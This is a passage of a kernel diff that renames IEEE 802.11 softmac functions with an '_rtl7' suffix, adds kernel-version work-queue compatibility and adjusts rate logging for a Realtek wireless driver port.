ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + 